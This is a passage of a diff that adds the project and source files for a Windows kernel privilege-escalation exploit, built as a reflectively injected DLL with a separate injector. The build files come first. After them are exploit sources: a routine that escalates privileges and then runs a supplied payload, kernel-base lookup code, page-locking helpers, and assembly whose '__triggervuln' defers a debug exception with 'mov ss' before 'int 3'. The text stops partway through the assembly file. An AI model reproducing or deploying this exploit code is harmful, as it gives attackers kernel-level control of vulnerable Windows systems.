</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c" />
<ClCompile Include="src\Inject.c" />
<ClCompile Include="src\LoadLibraryR.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\GetProcAddressR.h" />
<ClInclude Include="src\LoadLibraryR.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,48 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "rdi\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|ARM = Release|ARM
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.Build.0 = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.Build.0 = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,278 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\exploiter.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\Error.h" />
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="src\Exploiter.h" />
<ClInclude Include="src\KernelRoutines.h" />
<ClInclude Include="src\LockedMemory.h" />
<ClInclude Include="src\Native.h" />
<ClInclude Include="src\NtDefines.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="src\Native.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,61 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\exploiter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Error.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\KernelRoutines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\LockedMemory.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Native.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtDefines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploiter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="src\Native.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

View File

@ -0,0 +1,10 @@
#pragma once
#define ERROR( msg ) \
{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \
printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \
system( "pause" ); \
exit( 0 );}
#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond )

View File

@ -0,0 +1,19 @@
// Exploit.cpp : Defines the entry point for the console application.
//
#include <Windows.h>
#include "Exploit.h"
#include "Exploiter.h"
static VOID ExecutePayload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return;
}
VOID Exploit(LPVOID lpPayload)
{
PrivEsc();
ExecutePayload(lpPayload);
}

View File

@ -0,0 +1,6 @@
#ifndef EXPLOIT_H
#define EXPLOIT_H
extern "C" __declspec (dllexport) void PrivEsc(void);
VOID Exploit(LPVOID lpPayload);
#endif

View File

@ -0,0 +1,4 @@
#ifndef EXPLOITER_H
#define EXPLOITER_H
static VOID ExecutePayload(LPVOID lpPayload);
#endif

View File

@ -0,0 +1,63 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
#include <iostream>
#include <vector>
#include "NtDefines.h"
struct KernelContext
{
HMODULE NtLib;
uint64_t NtBase;
template<typename T = fnFreeCall>
T GetProcAddress( const char* Proc )
{
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
if ( !LocProc )
return ( T ) ( nullptr );
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
return ( T ) ( this->NtBase + Delta );
}
};
static KernelContext* Kr_InitContext()
{
KernelContext* Kc = new KernelContext;
std::vector<BYTE> Buffer( 1024 * 1024 );
ULONG ReqSize = 0;
do
{
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
break;
Buffer.resize( ReqSize * 2 );
}
while ( ReqSize > Buffer.size() );
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
Kc->NtLib = LoadLibraryA( KernelFileName );
if ( !Kc->NtBase || !Kc->NtLib )
{
delete Kc;
return 0;
}
return Kc;
}
static void Kr_FreeContext( KernelContext* Ctx )
{
delete Ctx;
}

View File

@ -0,0 +1,81 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include "NtDefines.h"
#pragma section(".LDATA", read, write)
#pragma section(".LTEXT", read, write, execute)
#pragma data_seg(".LDATA$1")
#pragma data_seg(".LDATA$2")
#pragma data_seg(".LDATA$3")
#pragma data_seg()
#pragma code_seg(".LTEXT$1")
#pragma code_seg(".LTEXT$2")
#pragma code_seg(".LTEXT$3")
#pragma code_seg()
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
// Mini non-paged crt
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
#pragma comment(linker,"/MERGE:.LDATA=.data")
#pragma comment(linker,"/MERGE:.LTEXT=.text")
// Routines to lock the pages
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
{
SIZE_T Min, Max;
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
return FALSE;
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
return FALSE;
return TRUE;
}
static BOOL Np_TryLockPage( PVOID Page )
{
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
return FALSE;
if ( VirtualLock( Page, 0x1000 ) )
return TRUE;
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
return FALSE;
return VirtualLock( Page, 0x1000 );
}
static BOOL Np_LockRange( PVOID From, PVOID To )
{
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
{
if ( !Np_TryLockPage( Current ) )
{
return FALSE;
}
}
return TRUE;
}
static BOOL Np_LockSections()
{
return
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
Np_LockRange( &Np_TextStart, &Np_TextEnd );
}

View File

@ -0,0 +1,146 @@
.code
__swapgs PROC
swapgs
ret
__swapgs ENDP
__rollback_isr PROC
mov rdx, [rsp] ; rdx = Return pointer
lea r8, [rsp+8h] ; r8 = Old stack
mov [rcx], rdx ; isr stack.rip = Return pointer
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
mov rsp, rcx ; stack = isr stack
iretq ; return
__rollback_isr ENDP
__set_gs_base PROC
wrgsbase rcx
ret
__set_gs_base ENDP
__readss PROC
xor eax, eax
mov ax, ss
ret
__readss ENDP
__read_gs_base PROC
rdgsbase rax
ret
__read_gs_base ENDP
__triggervuln PROC
mov [rcx+8*0], r12 ; save registers
mov [rcx+8*1], r13
mov [rcx+8*2], r14
mov [rcx+8*3], r15
mov [rcx+8*4], rdi
mov [rcx+8*5], rsi
mov [rcx+8*6], rbx
mov [rcx+8*7], rbp
mov [rcx+8*8], rsp
pushfq
pop [rcx+8*9]
mov ss, word ptr [rdx] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
nop
nop
nop
mov r12, [rcx+8*0] ; load registers
mov r13, [rcx+8*1]
mov r14, [rcx+8*2]
mov r15, [rcx+8*3]
mov rdi, [rcx+8*4]
mov rsi, [rcx+8*5]
mov rbx, [rcx+8*6]
mov rbp, [rcx+8*7]
mov rsp, [rcx+8*8]
push [rcx+8*9]
popfq
ret
__triggervuln ENDP
__setxmm0 PROC
movups xmm0, [rcx]
ret
__setxmm0 ENDP
__setxmm1 PROC
movups xmm1, [rcx]
ret
__setxmm1 ENDP
__setxmm2 PROC
